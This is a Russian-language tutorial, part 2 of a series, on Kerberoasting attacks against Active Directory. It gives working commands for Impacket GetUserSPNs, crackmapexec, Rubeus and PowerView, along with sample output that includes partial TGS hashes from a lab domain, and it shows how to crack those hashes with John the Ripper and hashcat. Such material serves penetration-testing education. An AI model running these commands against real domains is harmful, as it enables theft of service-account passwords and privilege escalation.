Active Directory
February 25

Атаки на Active Directory - 2 часть

Kerberoasting

Kerberoasting - атака, используемая для получения хешей паролей от учетных записей пользователей Active Directiry со значениями SPN.

В среде AD существуют так называемые Service Principal Names (SPN) - уникальные идентификаторы, связанные с учетными записями, которые запускают службы или приложения. Эти учетные записи обычно имеют минимально требуемые привилегии для выполнения своих задач.

Когда клиент хочет получить доступ к службе на сервере, он использует SPN, чтобы найти соответствующую учетную запись службы. Затем клиент аутентифицируется в службе с её учетными данными, которые сохраняются в AD в качестве хэша пароля.

В случае атаки Kerberoasting, значение SPN используется для запроса билета службы (TGS) в системе Kerberos. Билеты TGS (Ticket Granting Service) зашифрованы с использованием RC4, ключом, которым является хэш пароля от учетной записи службы. Это означает, что если злоумышленник перехватит или получит билеты TGS по сети, он может восстановить хэш и использовать его для перебора фактического пароля.

Для ясности, Kerberoast и Pass-the-Ticket - это два разных метода, используемых для кражи или подделки учетных данных в системах на базе Kerberos. Напомним, что с помощью Pass-the-Ticket злоумышленник из сеанса пользователя получает билет, предоставляющий право доступа, а затем использует его, чтобы выдать себя за пользователя и получить доступ.

Рассмотрим основные инструменты и техники проведения таких атак.

Обычно, для Kerberoasting’a используется не одни инструмент, а сразу несколько. Мы рассмотрим две техники, на основе двух разных инструментов и параллельно покажем, где вам могут пригодится другие, вспомогательные.

Impacket

Impacket - это набор классов Python для работы с сетевыми протоколами. Impacket ориентирован на обеспечение низкоуровневого программного доступа к пакетам, а для некоторых протоколов (например, SMB1-3 и MSRPC) - на саму реализацию протокола. Библиотека предоставляет набор инструментов в качестве примеров того, что можно сделать в контексте этой библиотеки.

Impacket-scripts, с другой стороны, представляет собой набор скриптов, созданных с помощью Impacket. Эти скрипты обеспечивают более высокий уровень функциональности, который можно использовать для различных задач, таких как взлом паролей, снифинга сети и подобного. Набор инструментов, предоставляемый Impacket-scripts, обширен и включает в себя сценарии для SMB-атак, перечисления LDAP, а самое главное для нас - атак Kerberos, среди прочего.

Первым шагом в реализации атаки является перечисление (или идентификация) servicePrincipalNames и запрос тикета службы (TGS).

Для этого используется скрипт Impacket GetUserSPNs который может выполнить все необходимые действия для запроса билета для службы, используя ее SPN и действительные учетные данные домена.

В представленном примере скрипт GetUserSPNs.py в параметре -outputfile принимает название выходного файла "kerberoastables.txt", в котором будут сохранены полученные хэши паролей.

Параметр -dc-ip используется для указания IP-адреса контроллера домена.

Он также принимает аргумент "DOMAIN/USER:Password" или "DOMAIN/USER", чтобы предоставить домен, имя пользователя и пароль или NT-хэш пользователя домена.

# with a password 
GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password' 
# with an NT hash 
GetUserSPNs.py -outputfile kerberoastables.txt -hashes 'LMhash:NThash' -dc-ip $KeyDistributionCenter 'DOMAIN/USER'

​Стоит упомянуть ещё один инструмент - crackmapexec.

crackmapexec ldap $TARGETS -u $USER -p $PASSWORD --kerberoasting kerberoastables.txt --kdcHost $KeyDistributionCenter

Похитив хэши паролей в файл kerberoastables.txt, злоумышленник может выполнить атаку типа brute force, чтобы получить пароль в виде открытого текста, используя различные инструменты, такие как John the Ripper и Hashcat.

Приведем пример использования John the Ripper:

john --format=krb5tgs --wordlist=$wordlist kerberoastables.txt

Приведенная выше команда использует флаг --format=krb5tgs, чтобы указать, что хэши в файле "kerberoastables.txt" находятся в формате Kerberos 5 TGS и флаг --wordlist для указания местоположения файла списка паролей, который будет использоваться в процессе перебора.

И наконец, когда пароль взломан, злоумышленник может использовать учетные данные службы для доступа к сетевым ресурсам и достижения своих целей, что может включать в себя перемещение по сети или повышение своих привилегий.

Rubeus

Rubeus - это набор инструментов на C# для прямого взаимодействия с Kerberos и атак на него. Он может эффективно работать как с удаленного компьютера (хоста), так и в пределах доменной сети (клиентский доменный хост).

С помощью Rubeus также можно выполнить Kerberoasting.

Первым шагом может быть сбор статистики:

PS C:\htb> .\Rubeus.exe kerberoast /stats


  ______        _
 (_____ \      | | 
  _____) )_   _| |__  _____ _   _  ___ 
 | __   /| | | |  _ \| ___ | | | |/___) 
 | |  \ \| |_| | |_) ) ____| |_| |___ | 
 |_|   |_|____/|____/|_____)____/(___/ 
 
 v2.0.2 
 
 
[*] Action: Kerberoasting 
[*] Listing statistics about target users, no ticket requests being performed. 
[*] Target Domain : INLANEFREIGHT.LOCAL 
[*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' 

[*] Total kerberoastable users : 9 
------------------------------------------------------------ 
| Supported Encryption Type                        | Count | 
------------------------------------------------------------ 
| RC4_HMAC_DEFAULT                                 | 7     | 
| AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 | 2     | 
------------------------------------------------------------ 

---------------------------------- 
| Password Last Set Year | Count | 
---------------------------------- 
| 2022                   | 9     | 
----------------------------------

Данная функция очень полезна злоумышленникам. Она помогает выяснить количество Kerberoastable пользователей и поддерживаемые ими типы шифрования для запросов билетов.

Непосредственно сам запрос билетов, как в примере ниже, может проводится с использованием ldap-фильтров.

PS C:\htb> .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2


[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target Domain          : INLANEFREIGHT.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))(admincount=1))'

[*] Total kerberoastable users : 3


[*] SamAccountName         : backupagent
[*] DistinguishedName      : CN=BACKUPAGENT,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
[*] ServicePrincipalName   : backupjob/veam001.inlanefreight.local
[*] PwdLastSet             : 2/15/2022 2:15:40 PM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*backupagent$INLANEFREIGHT.LOCAL$backupjob/[email protected]*$750F377DEFA85A67EA0FE51B0B28F83D$049EE7BF77ABC968169E1DD9E31B8249F509080C1AE6C8575B7E5A71995F345CB583FECC68050445FDBB9BAAA83AC7D553EECC57286F1B1E86CD16CB3266827E2BE2A151EC5845DCC59DA1A39C1BA3784BA8502A <SNIP>

Если указан аргумент /ldapfilter:X, предоставленный фильтр LDAP будет добавлен к окончательному запросу LDAP, используемому для поиска пользователей Kerberoastable.

LDAP-фильтры — это универсальный инструмент для поиска объектов в Active Directory

Таким образом, злоумышленник может искать по конкретному SPN, указав в фильтре servicePrincipalName=<name>.

Обратите внимание, что SPN состоят из двух частей:

  • класс службы
  • имени хоста

Класс службы - это имя службы, например "HTTP" или "ldap", а имя хоста - это имя хоста DNS или IP-адрес компьютера, на котором запущена служба. Например, SPN для веб-сервера может быть "HTTP/webserver1.example.com", где "HTTP" - это класс сервиса, а "webserver1.example.com" - имя хоста.

Похитив хэши паролей следующий шаг, как и в разборе метода с Impacket, будет brute-force атака.

В этот раз рассмотрим пример с утилитой hashcat:

PS> .\hashcat.exe -m 13100 -o cracked.txt -a 0 .\passwordhashes.txt .\wordlist.txt
  • -m 13100: Этот флаг используется для указания типа хэша, в данном случае Kerberos 5 TGS
  • -o cracked.txt: Этот флаг используется для указания выходного файла, в котором будут сохранены взломанные пароли
  • -a 0: Этот флаг используется для указания режима атаки, в данном случае 0 означает "прямой" режим атаки.

Команда также указывает пути к файлам passwordhashes.txt и wordlist.txt. Как только команда будет выполнена, Hashcat попытается найти соответствие между хэшами паролей в файле passwordhashes.txt и паролями в файле wordlist.txt.

И наконец, последний шаг также не отличается от предыдущей техники. Например, имея данные учетной записи, злоумышленник может использовать инструмент runas с параметром /netonly для запуска PowerShell от имени пользователя "ServiceAccount1":

runas /user:ServiceAccount1 notepad.exe

PowerView

PowerSploit - это набор модулей Microsoft PowerShell, которые могут использоваться для оказания помощи тестировщикам на проникновение на всех этапах оценки.

PowerView - часть PowerSploit и представляет из себя набор функций, которые выполняют перечисление сетей и доменов Windows и их эксплуатацию.

Напоследок мы быстро разберем, как с помощью PowerView может быть проведена простая атака Kerberoasting.

Для начала, злоумышленнику также требуется перечислить все SPN-аккаунты:

PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Get-DomainUser * -spn | select samaccountname

samaccountname
--------------
adfs
backupagent
krbtgt
sqldev
sqlprod
sqlqa
solarwindsmonitor

После чего можно запросить билет для определённого пользователя, путем получения его с помощью Get-DomainUser и передав выходные данные в Get-DomainSPNTicket.

Значение samaccountname указывается в -Identity

Также, команде Get-DomainSPNTicket, можно указать -Format, в котором будет hash, например Hashcat

PS C:\htb> Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat

SamAccountName       : sqldev
DistinguishedName    : CN=sqldev,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
ServicePrincipalName : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433
TicketByteHexStream  :
Hash                 : $krb5tgs$23$*sqldev$INLANEFREIGHT.LOCAL$MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433*$BF9729001376B63C5CAC933493C58CE7$4029DBBA2566AB4748EDB609CA47A6E7F6E0C10AF50B02D10A6F92349DDE3336018DE177 <SNIP>